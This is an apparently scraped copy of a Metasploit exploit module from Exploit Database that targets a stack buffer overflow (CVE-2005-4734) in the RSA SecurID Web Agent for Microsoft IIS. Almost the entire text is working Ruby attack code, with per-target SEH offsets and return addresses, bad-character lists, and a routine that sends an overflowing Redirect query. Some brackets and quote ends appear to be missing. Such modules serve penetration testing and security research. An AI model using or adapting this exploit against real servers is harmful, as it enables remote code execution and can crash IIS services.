Microsoft IIS – ISAPI RSA WebAgent Redirect Overflow (Metasploit)

Exploit Database
103 阅读

作者： Metasploit

日期： 2010-09-20
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16358/

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# $Id: rsa_webagent_redirect.rb 10394 2010-09-20 08:06:27Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'Microsoft IIS ISAPI RSA WebAgent Redirect Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in the SecurID Web

Agent for IIS. This ISAPI filter runs in-process with

inetinfo.exe, any attempt to exploit this flaw will result

in the termination and potential restart of the IIS service.

'Author' => [ 'hdm' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 10394 $',

'References' =>

[

['CVE', '2005-4734'],

['OSVDB', '20151'],

'Privileged' => false,

'Payload'=>

{

'Space'=> 1024,

'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x22\x23\x25\x26\x27\x2b\x2f" +

(0x3a..0x3f).to_a.pack('C*') + "\x40\x5c" + "Zz",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

# Version-specific return addresses

['RSA WebAgent 5.2', { 'Rets' => [ 996, 0x1001e694 ] }],

['RSA WebAgent 5.3', { 'Rets' => [ 992, 0x10010e89 ] }],

# Generic return addresses

['RSA WebAgent 5.2 on Windows 2000 English', { 'Rets' => [ 996, 0x75022ac4 ] }],

['RSA WebAgent 5.3 on Windows 2000 English', { 'Rets' => [ 992, 0x75022ac4 ] }],

['RSA WebAgent 5.2 on Windows XP SP0-SP1 English', { 'Rets' => [ 996, 0x71ab1d54 ] }],

['RSA WebAgent 5.3 on Windows XP SP0-SP1 English', { 'Rets' => [ 992, 0x71ab1d54 ] }],

['RSA WebAgent 5.2 on Windows XP SP2 English', { 'Rets' => [ 996, 0x71ab9372 ] }],

['RSA WebAgent 5.3 on Windows XP SP2 English', { 'Rets' => [ 992, 0x71ab9372 ] }],

['RSA WebAgent 5.2 on Windows 2003 English SP0', { 'Rets' => [ 996, 0x7ffc0638 ] }],

['RSA WebAgent 5.3 on Windows 2003 English SP0', { 'Rets' => [ 992, 0x7ffc0638 ] }],

'DefaultTarget'=> 0,

'DisclosureDate' => 'Oct 21 2005'))

register_options(

[

OptString.new('URL', [ true,"The path to IISWebAgentIF.dll", "/WebID/IISWebAgentIF.dll" ]),

], self.class)

end

def check

r = send_request_raw({

'uri' => datastore['URL'],

'query' => 'GetPic?image=msf'

}, -1)

if (r and r.body and r.body =~ /RSA Web Access Authentication/)

return Exploit::CheckCode::Detected

end

return Exploit::CheckCode::Safe

end

def exploit

pat = rand_text_alphanumeric(8192).gsub(/\d|Z/i, 'A') # HACK

seh = generate_seh_payload(target['Rets'][1])

pat[target['Rets'][0]-4, seh.length] = seh

r = send_request_raw({

'uri' => datastore['URL'],

'query' => 'Redirect?url=' + pat

}, 5)

handler

disconnect

end